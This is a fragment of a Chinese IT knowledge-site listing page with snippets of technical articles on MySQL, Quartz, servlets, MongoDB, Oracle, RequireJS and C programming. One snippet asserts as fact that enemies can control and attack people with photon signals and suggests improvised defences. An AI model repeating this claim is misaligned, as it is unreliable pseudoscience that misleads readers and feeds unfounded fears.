                                </li>
                                <li><a href="/article/228.htm"
                                       title="不停止 MySQL 服务增加从库的两种方式" target="_blank">不停止 MySQL 服务增加从库的两种方式</a>
                                    <span class="text-muted">brotherlamp</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/linux%E8%A7%86%E9%A2%91/1.htm">linux视频</a><a class="tag" taget="_blank" href="/search/linux%E8%B5%84%E6%96%99/1.htm">linux资料</a><a class="tag" taget="_blank" href="/search/linux%E6%95%99%E7%A8%8B/1.htm">linux教程</a><a class="tag" taget="_blank" href="/search/linux%E8%87%AA%E5%AD%A6/1.htm">linux自学</a>
                                    <div>现在生产环境MySQL数据库是一主一从，由于业务量访问不断增大，故再增加一台从库。前提是不能影响线上业务使用，也就是说不能重启MySQL服务，为了避免出现其他情况，选择在网站访问量低峰期时间段操作。 
&nbsp;一般在线增加从库有两种方式，一种是通过mysqldump备份主库，恢复到从库，mysqldump是逻辑备份，数据量大时，备份速度会很慢，锁表的时间也会很长。另一种是通过xtrabacku</div>
                                </li>
                                <li><a href="/article/355.htm"
                                       title="Quartz——SimpleTrigger触发器" target="_blank">Quartz——SimpleTrigger触发器</a>
                                    <span class="text-muted">eksliang</span>
<a class="tag" taget="_blank" href="/search/SimpleTrigger/1.htm">SimpleTrigger</a><a class="tag" taget="_blank" href="/search/TriggerUtils/1.htm">TriggerUtils</a><a class="tag" taget="_blank" href="/search/quartz/1.htm">quartz</a>
                                    <div>转载请出自出处：http://eksliang.iteye.com/blog/2208166 一.概述 
SimpleTrigger触发器，当且仅需触发一次或者以固定时间间隔周期触发执行； 
&nbsp; 二.SimpleTrigger的构造函数 
 
 SimpleTrigger(String name, String group)：通过该构造函数指定Trigger所属组和名称； 
 Simpl</div>
                                </li>
                                <li><a href="/article/482.htm"
                                       title="Informatica应用（1）" target="_blank">Informatica应用（1）</a>
                                    <span class="text-muted">18289753290</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/workflow/1.htm">workflow</a><a class="tag" taget="_blank" href="/search/lookup/1.htm">lookup</a><a class="tag" taget="_blank" href="/search/%E7%BB%84%E4%BB%B6/1.htm">组件</a><a class="tag" taget="_blank" href="/search/Informatica/1.htm">Informatica</a>
                                    <div>1.如果要在workflow中调用shell脚本有一个command组件，在里面设置shell的路径；调度wf可以右键出现schedule，现在用的是HP的tidal调度wf的执行。 
2.designer里面的router类似于SSIS中的broadcast（多播组件）;Reset_Workflow_Var：参数重置 （比如说我这个参数初始是1在workflow跑得过程中变成了3我要在结束时还要</div>
                                </li>
                                <li><a href="/article/609.htm"
                                       title="python 获取图片验证码中文字" target="_blank">python 获取图片验证码中文字</a>
                                    <span class="text-muted">酷的飞上天空</span>
<a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
                                    <div>根据现成的开源项目&nbsp;http://code.google.com/p/pytesser/改写 
在window上用easy_install安装不上 &nbsp;看了下源码发现代码很少 &nbsp;于是就想自己改写一下 
&nbsp; 
添加支持网络图片的直接解析 
&nbsp; 
  
#coding:utf-8 
#import sys 
#reload(sys) 
#sys.s</div>
                                </li>
                                <li><a href="/article/736.htm"
                                       title="AJAX" target="_blank">AJAX</a>
                                    <span class="text-muted">永夜-极光</span>
<a class="tag" taget="_blank" href="/search/Ajax/1.htm">Ajax</a>
                                    <div>1.AJAX功能:动态更新页面,减少流量消耗,减轻服务器负担 
&nbsp; 
2.代码结构: 
&nbsp;&nbsp; 
&lt;html&gt;

&lt;head&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
function loadXMLDoc()
{
.... AJAX script goes here ...
</div>
                                </li>
                                <li><a href="/article/863.htm"
                                       title="创业OR读研" target="_blank">创业OR读研</a>
                                    <span class="text-muted">随便小屋</span>
<a class="tag" taget="_blank" href="/search/%E5%88%9B%E4%B8%9A/1.htm">创业</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在研一，有种想创业的想法，不知道该不该去实施。因为对于的我情况这两者是矛盾的，可能就是鱼与熊掌不能兼得。 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 研一的生活刚刚过去两个月，我们学校主要的是</div>
                                </li>
                                <li><a href="/article/990.htm"
                                       title="需求做得好与坏直接关系着程序员生活质量" target="_blank">需求做得好与坏直接关系着程序员生活质量</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/IT+%E7%94%9F%E6%B4%BB/1.htm">IT 生活</a>
                                    <div>  
&nbsp; &nbsp; &nbsp; &nbsp; 这个故事还得从去年换工作的事情说起，由于自己不太喜欢第一家公司的环境我选择了换一份工作。去年九月份我入职现在的这家公司，专门从事金融业内软件的开发。十一月份我们整个项目组前往北京做现场开发，从此苦逼的日子开始了。 
&nbsp; &nbsp; &nbsp; &nbsp;系统背景：五月份就有同事前往甲方了解需求一直到6月份，后续几个月也完</div>
                                </li>
                                <li><a href="/article/1117.htm"
                                       title="如何定义和区分高级软件开发工程师" target="_blank">如何定义和区分高级软件开发工程师</a>
                                    <span class="text-muted">aoyouzi</span>

                                    <div>在软件开发领域，高级开发工程师通常是指那些编写代码超过 3 年的人。这些人可能会被放到领导的位置，但经常会产生非常糟糕的结果。Matt Briggs&nbsp;是一名高级开发工程师兼&nbsp;Scrum 管理员。他认为，单纯使用年限来划分开发人员存在问题，两个同样具有 10 年开发经验的开发人员可能大不相同。近日，他发表了一篇博文，根据开发者所能发挥的作用划分软件开发工程师的成长阶段。 
　　初</div>
                                </li>
                                <li><a href="/article/1244.htm"
                                       title="Servlet的请求与响应" target="_blank">Servlet的请求与响应</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a><a class="tag" taget="_blank" href="/search/get%E6%8F%90%E4%BA%A4/1.htm">get提交</a><a class="tag" taget="_blank" href="/search/java%E5%A4%84%E7%90%86post%E6%8F%90%E4%BA%A4/1.htm">java处理post提交</a>
                                    <div>&nbsp; 
Servlet是tomcat中的一个重要组成,也是负责客户端和服务端的中介 
&nbsp; 
&nbsp; 
1,Http的请求方式(get &nbsp;,post); 
&nbsp; 客户端的请求一般都会都是Servlet来接受的,在接收之前怎么来确定是那种方式提交的,以及如何反馈,Servlet中有相应的方法, &nbsp;http的get方式 servlet就是都doGet(</div>
                                </li>
                                <li><a href="/article/1371.htm"
                                       title="web.xml配置详解之listener" target="_blank">web.xml配置详解之listener</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/web.xml/1.htm">web.xml</a><a class="tag" taget="_blank" href="/search/listener/1.htm">listener</a>
                                    <div>一.定义 
&lt;listener&gt;  
	&lt;listen-class&gt;com.myapp.MyListener&lt;/listen-class&gt;  
&lt;/listener&gt; 
&nbsp; 
二.作用&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 该元素用来注册一个监听器类。可以收到事件什么时候发生以及用什么作为响</div>
                                </li>
                                <li><a href="/article/1498.htm"
                                       title="Web页面性能优化（yahoo技术）" target="_blank">Web页面性能优化（yahoo技术）</a>
                                    <span class="text-muted">Bill_chen</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/Ajax/1.htm">Ajax</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/Yahoo/1.htm">Yahoo</a>
                                    <div>1.尽可能的减少HTTP请求数 content 
2.使用CDN server 
3.添加Expires头(或者 Cache-control) server 
4.Gzip 组件 server 
5.把CSS样式放在页面的上方。 css 
6.将脚本放在底部(包括内联的) javascript 
7.避免在CSS中使用Expressions css 
8.将javascript和css独立成外部文</div>
                                </li>
                                <li><a href="/article/1625.htm"
                                       title="【MongoDB学习笔记八】MongoDB游标、分页查询、查询结果排序" target="_blank">【MongoDB学习笔记八】MongoDB游标、分页查询、查询结果排序</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a>
                                    <div>游标 
&nbsp; 
游标，简单的说就是一个查询结果的指针。游标作为数据库的一个对象，使用它是包括 
 
 声明 
 打开 
 循环抓去一定数目的文档直到结果集中的所有文档已经抓取完 
 关闭游标 
 
&nbsp; 
游标的基本用法，类似于JDBC的ResultSet(hasNext判断是否抓去完,next移动游标到下一条文档)，在获取一个文档集时，可以提供一个类似JDBC的FetchSize</div>
                                </li>
                                <li><a href="/article/1752.htm"
                                       title="ORA-12514 TNS 监听程序当前无法识别连接描述符中请求服务 的解决方法" target="_blank">ORA-12514 TNS 监听程序当前无法识别连接描述符中请求服务 的解决方法</a>
                                    <span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/ORA-12514/1.htm">ORA-12514</a>
                                    <div> 今天通过Oracle SQL*Plus连接远端服务器的时候提示“监听程序当前无法识别连接描述符中请求服务”，遂在网上找到了解决方案： 
 ①打开Oracle服务器安装目录\NETWORK\ADMIN\listener.ora文件，你会看到如下信息： 
&nbsp; 
# listener.ora Network Configuration File: D:\database\Oracle\net</div>
                                </li>
                                <li><a href="/article/1879.htm"
                                       title="Eclipse 问题 A resource exists with a different case" target="_blank">Eclipse 问题 A resource exists with a different case</a>
                                    <span class="text-muted">bozch</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a>
                                    <div>在使用Eclipse进行开发的时候，出现了如下的问题： 
Description&nbsp;Resource&nbsp;Path&nbsp;Location&nbsp;TypeThe project was not built due to &quot;A resource exists with a different case: '/SeenTaoImp_zhV2/bin/seentao'.&</div>
                                </li>
                                <li><a href="/article/2006.htm"
                                       title="编程之美-小飞的电梯调度算法" target="_blank">编程之美-小飞的电梯调度算法</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E4%B9%8B%E7%BE%8E/1.htm">编程之美</a>
                                    <div>

public class AptElevator {

	/**
	 * 编程之美 小飞 电梯调度算法
	 * 在繁忙的时间，每次电梯从一层往上走时，我们只允许电梯停在其中的某一层。
	 * 所有乘客都从一楼上电梯，到达某层楼后，电梯听下来，所有乘客再从这里爬楼梯到自己的目的层。
	 * 在一楼时，每个乘客选择自己的目的层，电梯则自动计算出应停的楼层。
	 * 问：电梯停在哪</div>
                                </li>
                                <li><a href="/article/2133.htm"
                                       title="SQL注入相关概念" target="_blank">SQL注入相关概念</a>
                                    <span class="text-muted">chenbowen00</span>
<a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                                    <div>SQL Injection：就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。 
 
具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。 
 
首先让我们了解什么时候可能发生SQ</div>
                                </li>
                                <li><a href="/article/2260.htm"
                                       title="[光与电]光子信号战防御原理" target="_blank">[光与电]光子信号战防御原理</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E5%8E%9F%E7%90%86/1.htm">原理</a>
                                    <div> 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 无论是在战场上,还是在后方,敌人都有可能用光子信号对人体进行控制和攻击,那么采取什么样的防御方法,最简单,最有效呢? 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们这里有几个山寨的办法,可能有些作用,大家如果有兴趣可以去实验一下 
 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 根据光</div>
                                </li>
                                <li><a href="/article/2387.htm"
                                       title="oracle 11g新特性:Pending Statistics" target="_blank">oracle 11g新特性:Pending Statistics</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/dbms_stats/1.htm">dbms_stats</a>
                                    <div>oracle 11g新特性:Pending Statistics 转 
 
从11g开始，表与索引的统计信息收集完毕后，可以选择收集的统信息立即发布，也可以选择使新收集的统计信息处于pending状态，待确定处于pending状态的统计信息是安全的，再使处于pending状态的统计信息发布，这样就会避免一些因为收集统计信息立即发布而导致SQL执行计划走错的灾难。 
 
在 11g 之前的版本中，D</div>
                                </li>
                                <li><a href="/article/2514.htm"
                                       title="快速理解RequireJs" target="_blank">快速理解RequireJs</a>
                                    <span class="text-muted">dengkane</span>
<a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/requirejs/1.htm">requirejs</a>
                                    <div>RequireJs已经流行很久了，我们在项目中也打算使用它。它提供了以下功能： 
 
 声明不同js文件之间的依赖 
 可以按需、并行、延时载入js库 
 可以让我们的代码以模块化的方式组织 
 
初看起来并不复杂。 在html中引入requirejs 
在HTML中，添加这样的&nbsp;&lt;script&gt;&nbsp;标签： 
&lt;script src=&quot;/path/to</div>
                                </li>
                                <li><a href="/article/2641.htm"
                                       title="C语言学习四流程控制if条件选择、for循环和强制类型转换" target="_blank">C语言学习四流程控制if条件选择、for循环和强制类型转换</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a>
                                    <div># include &lt;stdio.h&gt;

int main(void)
{
	int i, j;

	scanf(&quot;%d %d&quot;, &amp;i, &amp;j);

	if (i &gt; j)
		printf(&quot;i大于j\n&quot;);
	else
		printf(&quot;i小于j\n&quot;);

	retu</div>
                                </li>
                                <li><a href="/article/2768.htm"
                                       title="dictionary的使用要注意" target="_blank">dictionary的使用要注意</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/IO/1.htm">IO</a>
                                    <div>NSDictionary *dict = [NSDictionary dictionaryWithObjectsAndKeys:
                          user.user_id , @&quot;id&quot;,
                          user.username , @&quot;username&quot;,
         </div>
                                </li>
                                <li><a href="/article/2895.htm"
                                       title="Android 中的资源访问(Resource)" target="_blank">Android 中的资源访问(Resource)</a>
                                    <span class="text-muted">finally_m</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/String/1.htm">String</a><a class="tag" taget="_blank" href="/search/drawable/1.htm">drawable</a><a class="tag" taget="_blank" href="/search/color/1.htm">color</a>
                                    <div> 
简单的说，Android中的资源是指非代码部分。例如，在我们的Android程序中要使用一些图片来设置界面，要使用一些音频文件来设置铃声，要使用一些动画来显示特效，要使用一些字符串来显示提示信息。那么，这些图片、音频、动画和字符串等叫做Android中的资源文件。 
在Eclipse创建的工程中，我们可以看到res和assets两个文件夹，是用来保存资源文件的，在assets中保存的一般是原生</div>
                                </li>
                                <li><a href="/article/3022.htm"
                                       title="Spring使用Cache、整合Ehcache" target="_blank">Spring使用Cache、整合Ehcache</a>
                                    <span class="text-muted">234390216</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/cache/1.htm">cache</a><a class="tag" taget="_blank" href="/search/ehcache/1.htm">ehcache</a><a class="tag" taget="_blank" href="/search/%40Cacheable/1.htm">@Cacheable</a>
                                    <div>Spring使用Cache 
&nbsp; 
&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从3.1开始，Spring引入了对Cache的支持。其使用方法和原理都类似于Spring对事务管理的支持。Spring Cache是作用在方法上的，其核心思想是这样的：当我们在调用一个缓存方法时会把该方法参数和返回结果作为一个键值对存放在缓存中，等到下次利用同样的</div>
                                </li>
                                <li><a href="/article/3149.htm"
                                       title="当druid遇上oracle blob(clob)" target="_blank">当druid遇上oracle blob(clob)</a>
                                    <span class="text-muted">jackyrong</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a>
                                    <div>http://blog.csdn.net/renfufei/article/details/44887371 
 
众所周知，Oracle有很多坑, 所以才有了去IOE。 
 
在使用Druid做数据库连接池后，其实偶尔也会碰到小坑，这就是使用开源项目所必须去填平的。【如果使用不开源的产品，那就不是坑，而是陷阱了，你都不知道怎么去填坑】 
 
用Druid连接池，通过JDBC往Oracle数据库的</div>
                                </li>
                                <li><a href="/article/3276.htm"
                                       title="easyui datagrid pagination获得分页页码、总页数等信息" target="_blank">easyui datagrid pagination获得分页页码、总页数等信息</a>
                                    <span class="text-muted">ldzyz007</span>

                                    <div>var grid = $('#datagrid');&nbsp; 
var options = grid.datagrid('getPager').data(&quot;pagination&quot;).options;&nbsp; 
var curr = options.pageNumber;&nbsp; 
var total = options.total;&nbsp; 
var max =</div>
                                </li>
                                <li><a href="/article/3403.htm"
                                       title="浅析awk里的数组" target="_blank">浅析awk里的数组</a>
                                    <span class="text-muted">nigelzeng</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84/1.htm">二维数组</a><a class="tag" taget="_blank" href="/search/array/1.htm">array</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E7%BB%84/1.htm">数组</a><a class="tag" taget="_blank" href="/search/awk/1.htm">awk</a>
                                    <div>awk绝对是文本处理中的神器，它本身也是一门编程语言，还有许多功能本人没有使用到。这篇文章就单单针对awk里的数组来进行讨论，如何利用数组来帮助完成文本分析。 
&nbsp; 
有这么一组数据： 
&nbsp;  abcd,91#31#2012-12-31 11:24:00 
case_a,136#19#2012-12-31 11:24:00 
case_a,136#23#2012-12-31 1</div>
                                </li>
                                <li><a href="/article/3530.htm"
                                       title="搭建 CentOS 6 服务器(6) - TigerVNC" target="_blank">搭建 CentOS 6 服务器(6) - TigerVNC</a>
                                    <span class="text-muted">rensanning</span>
<a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a>
                                    <div>安装GNOME桌面环境 
 
# yum groupinstall &quot;X Window System&quot; &quot;Desktop&quot; 
 
 
安装TigerVNC 
 
# yum -y install tigervnc-server tigervnc 
 
 
启动VNC服务 
 
# /etc/init.d/vncserver restart
# vncser</div>
                                </li>
                                <li><a href="/article/3657.htm"
                                       title="Spring 数据库连接整理" target="_blank">Spring 数据库连接整理</a>
                                    <span class="text-muted">tomcat_oracle</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/bean/1.htm">bean</a><a class="tag" taget="_blank" href="/search/jdbc/1.htm">jdbc</a>
                                    <div>1、数据库连接jdbc.properties配置详解  　　jdbc.url=jdbc:hsqldb:hsql://localhost/xdb   　　jdbc.username=sa   　　jdbc.password=   　　jdbc.driver=不同的数据库厂商驱动，此处不一一列举   　　接下来，详细配置代码如下：   　　 
Spring连接池   &nbsp;&nbsp;&nbsp</div>
                                </li>
                                <li><a href="/article/3784.htm"
                                       title="Dom4J解析使用xpath java.lang.NoClassDefFoundError: org/jaxen/JaxenException异常" target="_blank">Dom4J解析使用xpath java.lang.NoClassDefFoundError: org/jaxen/JaxenException异常</a>
                                    <span class="text-muted">xp9802</span>

                                    <div>用Dom4J解析xml,以前没注意,今天使用dom4j包解析xml时在xpath使用处报错 
&nbsp;&nbsp;&nbsp;&nbsp; 异常栈：java.lang.NoClassDefFoundError: org/jaxen/JaxenException异常&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp; 导入包 jaxen-1.1-beta-6.jar 解决; 
&nb</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类：</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>